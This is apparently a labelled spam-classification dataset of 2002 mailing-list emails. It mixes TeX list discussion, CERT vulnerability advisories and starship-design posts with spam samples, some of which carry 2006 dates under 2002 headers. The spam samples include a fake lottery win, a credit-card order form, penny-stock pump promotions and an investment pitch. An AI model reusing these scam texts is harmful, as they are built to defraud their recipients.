spam sink or folder of last resort.) It must be doing an end run 'round the list-ware, as used to be an extremely common tactic to use against majordomo lists. -JimC",0,0 derhel@virgilio.it,,"Fri, 17 May 2002 04:51:57 +0100",CONTACT PAYMENT CO-ORDINATORS!!!,"CONTACT PAYMENT CO-ORDINATORS!!! STAATSLOTERIJ JACKPOT AND PROMOTIONS!!! KHORHOSTRAAT 155, AMSTERDAM, THE NETHERLANDS. FROM:THE DESK OF THE MANAGING DIRECTOR INTERNATIONAL PROMOTION/PRIZE AWARD DEPT, SCFN:ABN/5333/025648/03UA. BATCH:245/2002/GWK WE ARE PLEASED TO INFORM YOU TODAY THE 3RD OF MAY, 2006. RESULT OF THE STAATSLOTERIJ JACKPOT AND PROMOTIONS,NETHERLANDS. HELD ON 20TH OF 1ST MAY 2006. YOUR EMAIL ADDRESS ATTACHED TO THE TICKET NO:1001-55896542-5899 WITH SERIAL NO: 6666/05 DREW FROM THE LUCKY NO:02-22-00-66-99-85-52-12-36-50, WHICH CONSEQUENTLY WON THE LOTTERY IN THE FIRST CATEGORY. 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The attachment was moved to C:\\PROGRA~1\\SMailEx\\Alert\\color3ce6c26812c.exe_. Warning to recipient. ScanMail has detected a virus. ",1,0 Rowland McDonnell ,tex-fonts@sunshine.math.utah.edu,"Sat, 18 May 2002 23:23:53 +0100",Re: Spam and suchlike,">>>>>> ""Rowland"" == Rowland McDonnell writes: > >Rowland> All the spam I get comes via the tex-fonts mailing list. >Rowland> What I was wondering was this: is there any way of applying >Rowland> some spam filtering at the tex-fonts server? > >Just for the record, if any of the (huge load) of spam I'm seeing is >coming via this list, it is NOT comming with an envelope sender of >tex-fonts-errors@sunshine.math.utah.edu like the legitimate list >output does. That header does not appear on the legitimate output from tex-fonts that *I* get. The headers I see from tex-fonts are substantially the same whether it's annoying virus-laden spam or legitimate messages like yours. [snip] For example, the virus spam tex-fonts sent me today (along with another two items of spam) had headers like this: Received: from newton.ioppublishing.com ([193.131.119.1]) by tantalum.btinternet.com with smtp (Exim 3.22 #8) id 179B80-0003gy-00 for sgt.sunshine@btinternet.com; Sat, 18 May 2002 21:48:36 +0100 Received: (qmail 13352 invoked by alias); 18 May 2002 20:48:36 -0000 Delivered-To: pweb-rowland.mcdonnell@physics.org Received: (qmail 13326 invoked from network); 18 May 2002 20:48:33 -0000 Received: from sunshine.math.utah.edu (?IG7MiJGStSpNnXgKTgf/QvyeTLylLrks?@128.110.198.2) by newton.ioppublishing.com with SMTP; 18 May 2002 20:48:33 -0000 Received: from smtp001.nwlink.com (smtp001.nwlink.com [209.20.130.75]) by sunshine.math.utah.edu (8.9.3/8.9.3) with ESMTP id OAA06708 for ; Sat, 18 May 2002 14:24:06 -0600 (MDT) Received: from Xqzlv ([207.173.100.208]) by smtp001.nwlink.com (8.12.2/8.12.2) with SMTP id g4IKNXFk030354 for ; Sat, 18 May 2002 13:23:34 -0700 Date: Sat, 18 May 2002 13:23:33 -0700 Message-Id: <200205182023.g4IKNXFk030354@smtp001.nwlink.com> From: STARBRITE7 To: tex-fonts@math.utah.edu Subject: Media Search MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=DjD8zy1eO0qlvf62W8qCe53JNWpm9XCui Granted that such viruses never clobber me (Virex helps, but the fact that they're all Windoze executables and I've got a Mac is rather more significant); it's still a touch irritating to someone like me on a dial up connection who's taken the trouble to keep his email address away from the spammers. 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Everyone, please go to this site, this virus alert is a hoax, this file has been on my computer for years......its just another attempt to scare people.",0,1 Lars Hellström ,Rowland McDonnell ,"Mon, 20 May 2002 22:13:02 +0200",Re: Spam and suchlike,"At 00.23 +0200 2002-05-19, Rowland McDonnell wrote: >> >>Rowland> All the spam I get comes via the tex-fonts mailing list. >>Rowland> What I was wondering was this: is there any way of applying >>Rowland> some spam filtering at the tex-fonts server? >> >>Just for the record, if any of the (huge load) of spam I'm seeing is >>coming via this list, it is NOT comming with an envelope sender of >>tex-fonts-errors@sunshine.math.utah.edu like the legitimate list >>output does. > >That header does not appear on the legitimate output from tex-fonts that >*I* get. The headers I see from tex-fonts are substantially the same >whether it's annoying virus-laden spam or legitimate messages like yours. > >[snip] > >For example, the virus spam tex-fonts sent me today (along with another two >items of spam) had headers like this: FWIW, there have been at least two items of spam sent over this list the last week: one with a From: of walter54p@yahoo.de on the 14th and one with a From: of daniel74@free.com on the 18th. Both had the header line Return-Path: when they arrived to me. My impression is however that most junk sent via tex-fonts are viruses rather than spam. It would probably be a good idea to add some filtering to the tex-fonts list, so that most ""bad"" messages would bounce back to the sender rather than be delivered to all the recipients. Such a filter could also help enforcing the list rules about ""no large attachments"" and ""no HTML"". Perhaps this is something for the administrator(s) to consider? I think most of the needed functionality---the notable exception is the part about attachments---comes out of the box with SpamBouncer (http://www.spambouncer.org/). This program is essentially a collection of procmail recepies, which means adding tests is probably not very hard. In my experience it catches most spam (at least most of the spam I get), although the two items mentioned above passed all its filters. That could however be due to that our postmaster hasn't updated the program for a while now. Lars Hellström",0,1 Fund Raise ,"""\\""Fundraiser 21May\\"" <\\""Fund Raise\\"""" ","Tue, 21 May 2002 10:21:23 +0800",Involved In Fundraising?,"Involved in Fundraising? Here is the answer you have been looking for! Since 1989, the publishers of the daily (business finance) newspaper for fundraisers Nonprofit and Charity News have been assisting nonprofits and charities. Now you too can benefit from their expertise and resources. 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To order your manual, just complete the form below and send to fundraise@china.com or call (61 3)  8610 1022 or fax (61 3) 8610 1023 Don't miss out - offer expires on May 23rd, 2002 Yes! I would like more information e-Mail Number of Fundraising Manuals: First Name: Last Name: Company Position Address Address Cont. Post Code Phone Fax Web Site: Credit Card: Select One Amex BankCard Diners MasterCard Visa Will fax details Card Number Cardholders Name Expiry Date Don't Delay - Order Now! If you do not wish to receive further promotional material from us, please reply to this email with ""remove"" in the subject line.  ",1,0 """Nelson H. F. Beebe"" ",tex-fonts@sunshine.math.utah.edu,"Tue, 21 May 2002 06:46:32 -0600",From the list administrator: spam on the tex-fonts list,"Yes, we are seeing a significant increase in the incidence of spam everywhere on the net, not just on the tex-fonts list. One flavor that I routinely get is the offer of, say, one million email addresses (for a new low price) so that I too can join the spammers. Yuck! None of the spam that has been posted to the tex-fonts list has come from list members. Recently, we are seeing spam instances where the message's From: address has been set to a legitimate one selected from users at our site, instead of the bogus addresses typical in the past. I've already removed 53 spam messages from today's incoming mail in my own mailbox, and I expect to find dozens more yet, sigh... I intend to move the tex-fonts and tex-archive lists to the control of a mailing list program (possibly GNU mailman), configured to permit posting only from list members. However, because of my busy schedule, this is going to take some time, so for now, please keep your fingers near the delete key. In the meantime, let's keep the tex-fonts list on subject, and drop the spam discussion. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 110 LCB beebe@acm.org beebe@computer.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 """Mrs.Rosemod Raul"", Vice President ",tex-fonts@math.utah.edu,"Tue, 21 May 2002 12:02:49 +0200",CONGRATULATION!!!.,"From The Desk Of Vice President Euro Millions Lottery. MADRID - SPAIN. www.loteria.com Attn: Beneficiary. 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Copy and paste the following URL into your browser: http://xohaz.hqqg.com/s/ hokum sekorowavyd zebejuh ",1,1 """Nelson H. F. Beebe"" ",tex-fonts@sunshine.math.utah.edu,"Tue, 21 May 2002 06:46:32 -0600",From the list administrator: spam on the tex-fonts list,"Yes, we are seeing a significant increase in the incidence of spam everywhere on the net, not just on the tex-fonts list. One flavor that I routinely get is the offer of, say, one million email addresses (for a new low price) so that I too can join the spammers. Yuck! None of the spam that has been posted to the tex-fonts list has come from list members. Recently, we are seeing spam instances where the message's From: address has been set to a legitimate one selected from users at our site, instead of the bogus addresses typical in the past. I've already removed 53 spam messages from today's incoming mail in my own mailbox, and I expect to find dozens more yet, sigh... I intend to move the tex-fonts and tex-archive lists to the control of a mailing list program (possibly GNU mailman), configured to permit posting only from list members. However, because of my busy schedule, this is going to take some time, so for now, please keep your fingers near the delete key. In the meantime, let's keep the tex-fonts list on subject, and drop the spam discussion. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - Center for Scientific Computing FAX: +1 801 585 1640, +1 801 581 4148 - - University of Utah Internet e-mail: beebe@math.utah.edu - - Department of Mathematics, 110 LCB beebe@acm.org beebe@computer.org - - 155 S 1400 E RM 233 beebe@ieee.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 Vladimir Volovich ,"CyrTeX-en@vsu.ru, CyrTeX-ru@vsu.ru","Sat, 25 May 2002 18:36:10 +0400",CM-Super font package v0.3.3 released,"Hi! i've released the CM-Super font package v0.3.3 major changes: * Added Computer Modern Bright super-fonts: 19 *.pfb and *.afm.gz files, and corresponding entries in the MAP files. * Generated precise (non-integer) widths for Concrete fonts. (which were forgotten in previous version) see ChangeLog for other changes. So, now CM-Super package supports the following TeX fonts: * all EC fonts (T1 encoding) * all TC fonts (TS1 encoding) * all EC/TC Concrete fonts (T1/TS1 encodings) * all EC/TC Bright fonts (T1/TS1 encodings) * LH fonts matching font families of EC fonts (T2A/T2B/T2C/X2 encodings) * LH fonts for Concrete font families (T2A/T2B/T2C/X2 encodings) * LH fonts for CM-Bright font families (T2A/T2B/T2C/X2 encodings) There are 434 Type 1 outline fonts (*.pfb) in the CM-Super font set, and they cover 2536 TeX fonts! [however, currently 25 Type 1 fonts are still missing] changes in PFB files: 14 files for Concrete fonts were changed, and 19 new files for Bright fonts were added. All other files did not change. The CM-Super font package should be mirrored tomorrow to CTAN:fonts/ps-type1/cm-super Best, v. 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Past CERT summaries are available at http://www.cert.org/summaries/. ______________________________________________________________________ Recent Activity Since the last regularly scheduled CERT summary, issued in February 2002 (CS-2002-01), we have released several advisories addressing vulnerabilties in Microsoft's IIS server, Oracle Database and Application Servers, Sun Solaris cachefsd, and MSN Instant Messenger. In addition, we have published statistics for the first quarter of 2002, numerous white papers, and a collection of frequently asked questions about the OCTAVE Method. For more current information on activity being reported to the CERT/CC, please visit the CERT/CC Current Activity page. The Current Activity page is a regularly updated summary of the most frequent, high-impact types of security incidents and vulnerabilities being reported to the CERT/CC. The information on the Current Activity page is reviewed and updated as reporting trends change. 1. Exploitation of Vulnerabilities in Microsoft SQL Server The CERT/CC has received reports of systems being compromised through the automated exploitation of null or weak default sa passwords in Microsoft SQL Server and Microsoft Data Engine. This activity is accompanied by high volumes of scanning, and appears to be related to recently discovered self-propagating malicious code, referred to by various sources as Spida, SQLsnake, and Digispid. CERT Incident Note IN-2002-04: Exploitation of Vulnerabilities in Microsoft SQL Server http://www.cert.org/incident_notes/IN-2002-04.html 2. Buffer Overflow in Microsoft's MSN Chat ActiveX Control Microsoft's MSN Chat is an ActiveX control for Microsoft Messenger, an instant messaging client. A buffer overflow exists in the ActiveX control that may permit a remote attacker to execute arbitrary code on the system with the privileges of the current user. CERT Advisory CA-2002-13: Buffer Overflow in Microsoft's MSN Chat ActiveX Control http://www.cert.org/advisories/CA-2002-13.html 3. Format String Vulnerability in ISC DHCPD The Internet Software Consortium (ISC) provides a Dynamic Host Configuration Protocol Daemon (DHCPD), which is a server that is used to allocate network addresses and assign configuration parameters to hosts. A format string vulnerability may permit a remote attacker to execute code with the privileges of the DHCPD (typically root). We have not seen active scanning or exploitation of this vulnerability. CERT Advisory CA-2002-12: Format String Vulnerability in ISC DHCPD http://www.cert.org/advisories/CA-2002-12.html 4. Heap Overflow in Cachefs Daemon (cachefsd) Sun's NFS/RPC file system cachefs daemon (cachefsd) is shipped and installed by default with Sun Solaris 2.5.1, 2.6, 7, and 8 (SPARC and Intel architectures). A remotely exploitable vulnerability exists in cachefsd that could permit a remote attacker to execute arbitrary code with the privileges of the cachefsd, typically root. The CERT/CC has received credible reports of scanning and exploitation of Solaris systems running cachefsd. CERT Advisory CA-2002-11: Heap Overflow in Cachefs Daemon (cachefsd) http://www.cert.org/advisories/CA-2002-11.html 5. Multiple Vulnerabilities in Microsoft IIS A variety of vulnerabilities exist in various versions of Microsoft IIS. Some of these vulnerabilities may allow an intruder to execute arbitrary code on vulnerable systems. CERT Advisory CA-2002-09: Multiple Vulnerabilities in Microsoft IIS http://www.cert.org/advisories/CA-2002-09.html 6. Multiple Vulnerabilities in Oracle Servers Multiple vulnerabilities in Oracle Application Server and Oracle Database have recently been discovered. These vulnerabilities include buffer overflows, insecure default settings, failures to enforce access controls, and failure to validate input. The impacts of these vulnerabilities include the execution of arbitrary commands or code, denial of service, and unauthorized access to sensitive information. CERT Advisory CA-2002-08: Multiple Vulnerabilities in Oracle Servers http://www.cert.org/advisories/CA-2002-08.html 7. Social Engineering Attacks via IRC and Instant Messaging The CERT/CC has received reports of social engineering attacks on users of Internet Relay Chat (IRC) and Instant Messaging (IM) services. Intruders trick unsuspecting users into downloading and executing malicious software, which allows the intruders to use the systems as attack platforms for launching distributed denial-of-service (DDoS) attacks. The reports to the CERT/CC indicate that tens of thousands of systems have recently been compromised in this manner. CERT Incident Note IN-2002-03: Social Engineering Attacks via IRC and Instant Messaging http://www.cert.org/incident_notes/IN-2002-03.html ______________________________________________________________________ What's New and Updated Since the last CERT Summary, we have published new or updated * Advisories * Incident Notes * CERT/CC Statistics * OCTAVE^SM Method Frequently Asked Questions * White Papers + Foundations for Survivable Systems Engineering + Organized Crime and Cyber-Crime: Implications for Business + Overview of Attack Trends + Using PGP to Verify Digital Signatures + Downstream Liability for Attack Relay Amplification + Cross-Site Scripting Vulnerabilities + Countering Cyber War ______________________________________________________________________ This document is available from: http://www.cert.org/summaries/CS-2002-02.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright �2002 Carnegie Mellon University. -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPPPOk6CVPMXQI2HJAQHHeAQAxlNggZhs00dAQBX4Wvm1xIeBMyK6NYLn HQyiHIhHFoeshf+FsF1aBbwV1m07nkv9OnEWm4I2fqOPtPRNQJAAhud7XrfEpeOm EqEkHQD9LaoQux/HVe23Gmp/Lv5RkLbUu72tL18KdI7YVnteRKvtxIWvCgFfvjRM 2YTPonaOjlQ= =XKwE -----END PGP SIGNATURE----- ",0,1 Rashida ,Ouida S Jackson ,"Wed, 29 May 2002 05:35:49 +1100",New Growth Stock Report,"Cross Atlantic Life and Science Technology, Inc. Company Symbol: CTFE PK Current Price: $0.0085 Weekly Target: $0.10 Our Rating: 10/10 Status: Extremely S!rong Buy Cross Atlantic Life Science Technology Inc. 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Systems Affected * Windows NT4 or Windows 2000 running IIS versions 4 or 5 and Macromedia JRun 3.0 or 3.1 Overview A remotely exploitable buffer overflow exists in Macromedia's JRun 3.0 and 3.1. I. Description JRun is an application server that works with most popular web servers, such as Apache and Internet Information Server (IIS). According to Macromedia, JRun is deployed at over 10,000 organizations worldwide. As reported in the Next Generation Security Software Advisory (#NISR29052002), a remotely exploitable buffer overflow exists in the ISAPI filter/application. Specifically, the buffer overflow exists in the portion of code that handles the host header field. If an attacker sends a specially crafted request to the application server, he can overwrite a return address on the stack. Because the vulnerable DLL is running in the address space of the web server process, code submitted by the attacker will be run with SYSTEM privileges. II. Impact A remote attacker can execute arbitrary code on the vulnerable target with SYSTEM privileges. III. Solution Apply a patch from Macromedia or upgrade to JRun 4. The patch is available from: http://www.macromedia.com/v1/Handlers/index.cfm?ID=22273&Method=Full#download JRun 4 is available at: http://www.macromedia.com/software/jrun/ Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. Additional information can be found in VU#703835. Macromedia Inc. Macromedia has confirmed that this is a problem in older versions of JRun 3.0 and 3.1 and is soon to publish a security bulletin regarding this. Visit the Macromedia security zone site at http://www.macromedia.com/security for more information. _________________________________________________________________ This vulnerability was discovered by David Litchfield of Next Generation Security Software. _________________________________________________________________ Author: Ian A. Finlay ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-14.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History May 29, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPPVQSqCVPMXQI2HJAQGVHgP/U5zIg4973uYvBmeM4X06vfkHbRFG7YM8 nwnnqneHG/xPkytz3LpjfbbBtmdXWJmfJK64J/R9vGu84Cbp3NR2MvDPQ6J3c+7+ v6/uaemXWZZdbpxtLTULWqCsy+Fkp6XpOekvImEek1A9jKxVnH2lB42OwW28pmap RYbu1k04txk= =RYRj -----END PGP SIGNATURE----- ",0,1 pmdJames Dearborn ,tex-fonts@tug.org,"Wed, 29 May 2002 23:45:16 -0400",ADV Oil and Gas Investment qnfmn,"How would you like a 100% tax free Investment in Oil and Gas wells? Make over 100% annually and receive monthly tax free Income with very low risk. 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Among its list of clients that have purchased its vehicles, the Mattman Company boasts a 96% return rate among those customers requiring additional vehicles. Growth Spurred by Demand: On March 16, 2006, the White House released its National Security Strategy (NSS), in which the express purpose was to ensure the fulfillment of its most solemn obligation: to protect the security of the American people. As a result of this commitment, tens of billions of dollars have been allotted to various aspects of the Homeland Security sector, spelling huge potential rewards for the companies in position to efficiently and effectively service the nation's security needs. Mattman recently announced the expansion of its manufacturing facilities to meet the heavy demands of its one year backlog of orders that continue to flow in as the Department of Homeland Security continues to fund first responder vehicles for municipalities, counties, states, and federal agencies. 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In response, the administration reorganized and restructured federal security agencies and committed additional resources to ensuring Homeland Security. In addition, the failings of FEMA in the aftermath of hurricane Katrina have also highlighted the need for further dedication to emergency response. Total federal spending for homeland securities activities in just the 2006 fiscal year are projected to reach a minimum of $50 billion. In addition, the current market in the U.S. alone for specialty vehicles, first alert vehicles and medical vehicles is $10 billion annually. Only a five percent market share of these two industries would result in projected revenues of $300 million per annum. With approximately 18.5 million shares outstanding, such a market share would translate into revenues of over $16/share. Financial quote: MATTMAN SPEC VEHI (MMSV.PK) Delayed quote data.Charts: 1 yr - 3 mo - 5 days Last trade 1.41 Day's range 1.41 - 1.65 Trade time 3:50pm 52 wk range 0.0006 - 0.0009 Change -0.01(-0.70%) Volume 29,746 Prev. close 1.42 Market cap 18K Open 1.46 EPS (ttm) -948.176 Last updated: 4/25/2006. Delayed up to 20 minutes. Latest Financial News for MATTMAN SPEC VEHICLSDate: Tue, 25 Apr 2006StockGuru.com Announces Profile Coverage of Mattman Specialty Vehicles Date: Tue, 25 Apr 2006Mattman Secures Contract with San Marcos Fire Department for Mobile Emergency Operations Center Date: Fri, 7 Apr 2006Mattman Specialty Vehicles Inc. Delivers Dual Use Mobile DUI Checkpoint/Command Center to Redondo Beach Police Dept. Date: Wed, 5 Apr 2006Mattman Specialty Vehicles Delivering Mobile Command Post to Beijing Date: Wed, 29 Mar 2006Mattman Specialty Vehicles, Inc. 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Thanks, Joe ------------------------------------------------------------------ Joseph Lorenzo Hall jhall@astro.berkeley.edu Graduate Student astron.berkeley.edu/~jhall Astronomy Department 601 Campbell Hall voice: (510) 643-8592 University of California at Berkeley fax : (510) 642-3411 Berkeley, CA 94720-3411 face : 753B Campbell ""The people who don't like what we have to say will never like the way we choose to say it."" Rahula (Biotic Baking Brigade) http://www.asis.com/~agit-prop/bbb/ Does your congressmember know how you feel? Let them know TODAY: http://www.visi.com/juan/congress/ ",0,1 Peter / Sci ,Starship Design ,"Mon, 03 Jun 2002 13:57:43 +0100",Re: starship-design: Computer displays et al.,"> Peter / Sci wrote: > > > Such output I feel would be a good use for the relativly primative > > holographics we have available to us. I imagine 3D navigation might be > > rather tricky without it to enable us to visualise it. > > The one that springs to mind was shown on a BBC program, ""Tommorows World"" > > some years ago, and I seem unable to find a more up to date source of > > information on it. It was being concidered as an alternate display for > > air-traffic-control. > > It concisted of a tube with a rapidly spinning single-helix within it, a > > single turn of which took up the entire height of the small chamber. It was > > spun, and since the helix took up only one turn of height, a laser, > > projected from below witht he right timing, was able to set the point of > > it's height by whatever part of the helix was passing above it at the time, > > thus enabling graphics to be displayed as a truely 3D image. > > A larger, and preferably colour, vesion of this I think be the perfect > > navigational display. > > > I think the real computers used will have less functionally as the movie > and > tv people would have us believe. Other a shuttle from ground to orbit > what > need is there for fancy navigational stuff. Just point it in the right > direction and go for naviation to the stars as it takes a good while to > get > where you are going. I mean for signifigently more that just surface to orbit manuveres. I mean entire package. Launch (however unlikely that a whole starship would be launched from the surface), orbital insertion, adjustments in orbital height (from low, to geostationary, etc, or even insertion at Le Grange points), orbits worked out on-the-fly by gravitational well measurements. Possibly also facility for aerobraking and other rare (hopefully) ship manuvres. I'm thinking beyond Sol-system operations to the potential for having to come up with safe routes in new terratories (after all, the first starships will be probes and exploration craft, yes?). I brought up holographics, because as I see it the best way to represent manuveres in 3 dimentions is with a 3dimentional display system. True, a screen can display can display a 2D interpretation of a 3D environment, but I can't see it ever providing as much information as a 3D display. I agree that most of the computing power on the ship, will probably consist of nothing more than ""smart"" system relays. If you want videos or music, etc, played on your own computer (I mean, we do have to think of the psychological wellbeing too, of the crew), you plug it into the ship network, dumb in itself, and transfer what you want (low priority data) from someone else on the network, or a central data-storage. Whereas changes to essential systems would be reported to whatever terminals were at the time logged in as engineering/environmental/etc, (mid to high priority data). Things like signels to manuvering thrusters or engines, would be high-priority data, getting transfered first through the network, or possibly having their own seperate control lines. Thought: Would there be a backup control room or alow the ship to be controlled from anywhere on board, with correct accesss? The later would seem more prudent, as it alows more redundency in the system, without any extra physical parts. Sci ",0,0 """L. Parker"" ",'Starship Design' ,"Mon, 03 Jun 2002 14:09:57 -0500",RE: starship-design: Computer displays et al.,"> -----Original Message----- > From: owner-starship-design@lists.uoregon.edu > [mailto:owner-starship-design@lists.uoregon.edu]On Behalf Of > Peter / Sci > Sent: Monday, June 03, 2002 7:58 AM > To: Starship Design > Subject: Re: starship-design: Computer displays et al. > > I agree that most of the computing power on the ship, will > probably consist [clip] For an exploration ship on a multi-year mission an actual ""Control Room"" is probably not terribly necessary. Most day-to-day operations of the ship would perforce be automated to a great extent, not requiring constant oversight. In fact, once safely on course, there would be almost nothing to do at all. Even for Kelly's Explorer class of starship I can't see needing a control room any bigger than what is currently on the Space Shuttle. With wall sized flat screens in everyone's quarters, wireless PDAs and voice controlled interaction with the C3 systems, control oversight could be exercised from just about anywhere. Once the exploration vessel was in-system, there would be a much greater amount of daily decision making going on so there might be some social usefulness to having a centrally designated Control Room, but this could be configured shortly before the exploration vessel arrives from an empty storage room that used to house food for the journey. The control runs for the equipment would of course have been preinstalled in several storage rooms for that eventuality. Probably also want a control room for the exploration itself, not just control of the ship and its landing craft. As for redundancy, I would think that the computer network would be a distributed model with multiple redundant main processors located throughout the ship. It would even be able to draw on the power of individual PDAs if needed. Since the charter of this group is to explore technology feasible within the next fifty years, you should be willing to speculate a little about changes to computing technology within that timeframe. For instance, the ""PDA"" may well be physically inside your head and wired to your nervous system through your eyes, ears and spinal cord. This is important because then the holographic display wouldn't really be necessary, it would be 3-D inside your head! Lee >From VM Mon Jun 10 10:25:20 2002 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2168"" ""Saturday"" ""8"" ""June"" ""2002"" ""16:43:56"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""42"" ""starship-design: Want to bet that Black Horse is in here somewhere?"" ""^From:"" nil nil ""6"" nil ""starship-design: Want to bet that Black Horse is in here somewhere?"" nil nil nil nil nil nil] nil) Content-Length: 2168 Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g58Lj9xf016354 for ; Sat, 8 Jun 2002 14:45:09 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.4/8.12.4/Submit) id g58Lj9Ur016352 for starship-design-outgoing; Sat, 8 Jun 2002 14:45:09 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g58Lj4xf016332 for ; Sat, 8 Jun 2002 14:45:08 -0700 (PDT) Received: from user121.net241.fl.sprint-hsd.net ([64.45.208.121] helo=broadsword) by avocet.mail.pas.earthlink.net with smtp (Exim 3.33 #2) id 17Go16-0001db-00 for starship-design@lists.uoregon.edu; Sat, 08 Jun 2002 14:45:00 -0700 Message-ID: <000001c20f35$97d5a6c0$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design List \\(E-mail\\)"" Subject: starship-design: Want to bet that Black Horse is in here somewhere? Date: Sat, 8 Jun 2002 16:43:56 -0500 USAF Teams With Industry To Develop Laser Guns For Jet Fighters Kirtland AFB - June 5, 2002 Exploring the feasibility of using high-energy lasers on fighter aircraft is the aim of an agreement signed Friday (May 31) between the Air Force Research Laboratory here and Lockheed Martin of Fort Worth, Texas. Under a Cooperative Research And Development Agreement, or CRADA, the laboratory's Directed Energy Directorate and Lockheed Martin's Aeronautics Company will pool their resources. The Air Force laboratory will contribute its expertise in high-energy lasers, laser beam-control technology and laser vulnerability data. Lockheed Martin will use the Air Force's information and examine the integration and optimum performance of high-energy lasers and beam-control technology on various fighter aircraft such as the F-15, F-16, F-22 and F-35 Joint Strike Fighter. The company will also assess the military value and potential of lasers on tactical platforms and evaluate related aero-optic issues. Both organizations are expected to benefit from the cooperative effort and information transfer. The directorate will get insight into the Joint Strike Fighter and other Lockheed Martin platforms to better determine how to apply future research to operational systems that benefit the warfighter. Lockheed Martin will get better technical information on high-energy lasers and beam control systems that will help the company design better weapons systems for its aircraft. The overall cooperative effort is expected to advance and further the development of high-energy lasers aboard tactical aircraft. The laboratory's Directed Energy Directorate is building on past accomplishments. Its scientists invented the chemical laser that is being used on the Airborne Laser, a Boeing 747-400 series jumbo jet aircraft, under development, that will use a laser to destroy ballistic missiles shortly after being launched while still in powered flight. The directorate is also providing technical support to the Airborne Laser program. In the early 1980s, the directorate demonstrated that a modified Boeing 707 laser-armed aircraft could destroy targets in the air. >From VM Mon Jun 10 10:25:20 2002 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""6231"" ""Sunday"" ""9"" ""June"" ""2002"" ""06:41:19"" ""-0700"" ""Curtis Manges"" ""clmanges@yahoo.com"" nil ""74"" ""Fwd: starship-design: Want to bet that Black Horse is in here somewhere?"" ""^From:"" nil nil ""6"" nil ""Fwd: starship-design: Want to bet that Black Horse is in here somewhere?"" nil nil nil nil nil nil] nil) Content-Length: 6231 Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.4/8.12.4) with ESMTP id g59DfKxf026378 for ; Sun, 9 Jun 2002 06:41:20 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.4/8.12.4/Submit) id g59DfKYW026377 for starship-design-outgoing; Sun, 9 Jun 2002 06:41:20 